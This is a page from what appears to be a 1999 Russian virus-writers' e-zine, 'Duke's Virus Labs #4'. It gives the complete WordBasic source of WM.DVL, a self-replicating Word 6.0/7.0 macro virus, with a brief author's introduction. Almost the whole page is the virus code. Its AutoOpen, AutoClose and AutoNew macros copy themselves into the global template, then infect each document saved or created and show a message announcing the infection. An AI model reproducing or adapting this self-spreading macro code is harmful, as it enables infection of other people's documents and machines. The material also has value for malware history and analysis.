- [Duke's Virus Labs #4] - [Page 11] - WM.DVL (c) by Duke/SMF Имя вируса : WM.DVL Автор : Duke/SMF Язык прогр. : WordBasic Дата создания : 14.01.99 В нашем журнале еще ни разу не было Macro-вирусов. Никаких. Поэтому я взялся за изучение WordBasic'а. Вы скажете - почему такое старье? Ведь это уже давно устарело. А вот и нет! Word 6.0/7.0 все еще в строю и используется. К тому же начинать надо с простого и легкого. Вот и получился Macro.Word-вирус для Word 6.0/7.0. Все в нем довольно просто и примитивно - состоит из 4 макросов, проверяет систему на свое присутствие, и если его еще нет в системе, то копирует себя в область глобальных макросов да выводит на экран сообщение. Но для первого раза сойдет. Я его не тестировал, так что запросто может быть Intended :( ===== Cut here ===== '------- Macros : AutoOpen Sub MAIN ' проверяем систему на зараженность For i = 1 To CountMacros(0, 0) If MacroName$(i, 0, 0) = "DVL" Then Ready = 1 End If Next i If Ready = 1 Then ' если заражена - выводим окошко Call DVL Else ' если не заражена - копируемся в область активных макросов On Error Resume Next MacroCopy FileName$() + ":DVL", "Global:DVL", 1 MacroCopy FileName$() + ":AutoNew", "Global:AutoNew", 1 MacroCopy FileName$() + ":AutoOpen", "Global:AutoOpen", 1 MacroCopy FileName$() + ":AutoClose", "Global:AutoClose", 1 Call AutoClose End If End Sub '------- Macros : AutoClose Sub MAIN ' сохраняемся во всех документах Ready = 0 For i = 1 To CountMacros(1, 0) If MacroName$(i, 1, 1) = "DVL" Then Ready = 1 End If Next i If Ready = 0 Then On Error Resume Next FileSaveAs .Format = 1 MacroCopy "Global:DVL", FileName$() + ":DVL", 1 MacroCopy "Global:AutoNew", FileName$() + ":AutoNew", 1 MacroCopy "Global:AutoOpen", FileName$() + ":AutoOpen", 1 MacroCopy "Global:AutoClose", FileName$() + ":AutoClose", 1 FileSaveAll 1, 0 End If End Sub '------- Macros : AutoNew Sub MAIN Call AutoClose End Sub '------- Macros : DVL Sub MAIN ' выводим на экран окошко с текстом MsgBox " You system already infected !" + Chr$(13) + \ "This macros written by Duke/SMF" + Chr$(13) + \ " special for DVL #4 ", \ "WM.DVL (c) by Duke/SMF", 64 End Sub ===== Cut here =====